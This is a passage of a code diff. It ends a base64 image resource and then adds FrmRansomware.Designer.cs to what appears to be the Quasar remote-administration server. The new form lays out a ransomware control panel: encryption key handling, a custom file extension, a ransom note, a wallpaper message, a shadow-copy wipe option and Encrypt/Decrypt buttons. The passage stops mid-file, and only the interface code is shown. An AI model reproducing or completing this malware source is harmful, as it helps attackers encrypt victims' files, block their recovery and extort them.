Iv86KSL/Oysk/ygXEP8fDAT/RDIr/5OJhf/Z1NH///////z7+//Z1NL/r6ai/3ttZ/9LOzT/OSYe/yYV + DP8fDAX/IA4G/yIQCP8lEgr/EwIA/yQTDf/W0M3////////////EvLn/GwgA/x4PCP8nFxD/IhEJ/yIQ + Cf8hDwf/Hw0F/yAOB/83JR//Tz84/21fWP+cjoj/ua+q/8W8uP+Zjoj/WElC/ykZEv8jEQn/OCgh/zoq + I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR + Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex + Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.Designer.cs new file mode 100755 index 0000000..ac86462 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.Designer.cs @@ -0,0 +1,287 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRansomware + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + private void InitializeComponent() + { + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.btnSaveKey = new System.Windows.Forms.Button(); + this.btnCopyKey = new System.Windows.Forms.Button(); + this.txtKey = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.txtExtension = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.txtWallpaperText = new System.Windows.Forms.TextBox(); + this.chkWallpaper = new System.Windows.Forms.CheckBox(); + this.txtRansomNote = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.chkWipeVSS = new System.Windows.Forms.CheckBox(); + this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.txtLog = new System.Windows.Forms.RichTextBox(); + this.btnEncrypt = new System.Windows.Forms.Button(); + this.btnDecrypt = new System.Windows.Forms.Button(); + this.groupBox1.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.groupBox3.SuspendLayout(); + this.SuspendLayout(); + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.btnSaveKey); + this.groupBox1.Controls.Add(this.btnCopyKey); + this.groupBox1.Controls.Add(this.txtKey); + this.groupBox1.Controls.Add(this.label1); + this.groupBox1.Controls.Add(this.txtExtension); + this.groupBox1.Controls.Add(this.label2); + this.groupBox1.Location = new System.Drawing.Point(15, 15); + this.groupBox1.Margin = new System.Windows.Forms.Padding(4); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Padding = new System.Windows.Forms.Padding(4); + this.groupBox1.Size = new System.Drawing.Size(950, 125); + this.groupBox1.TabIndex = 0; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "Encryption Settings"; + // + // btnSaveKey + // + this.btnSaveKey.Location = new System.Drawing.Point(688, 31); + this.btnSaveKey.Margin = new System.Windows.Forms.Padding(4); + this.btnSaveKey.Name = "btnSaveKey"; + this.btnSaveKey.Size = new System.Drawing.Size(112, 29); + this.btnSaveKey.TabIndex = 5; + this.btnSaveKey.Text = 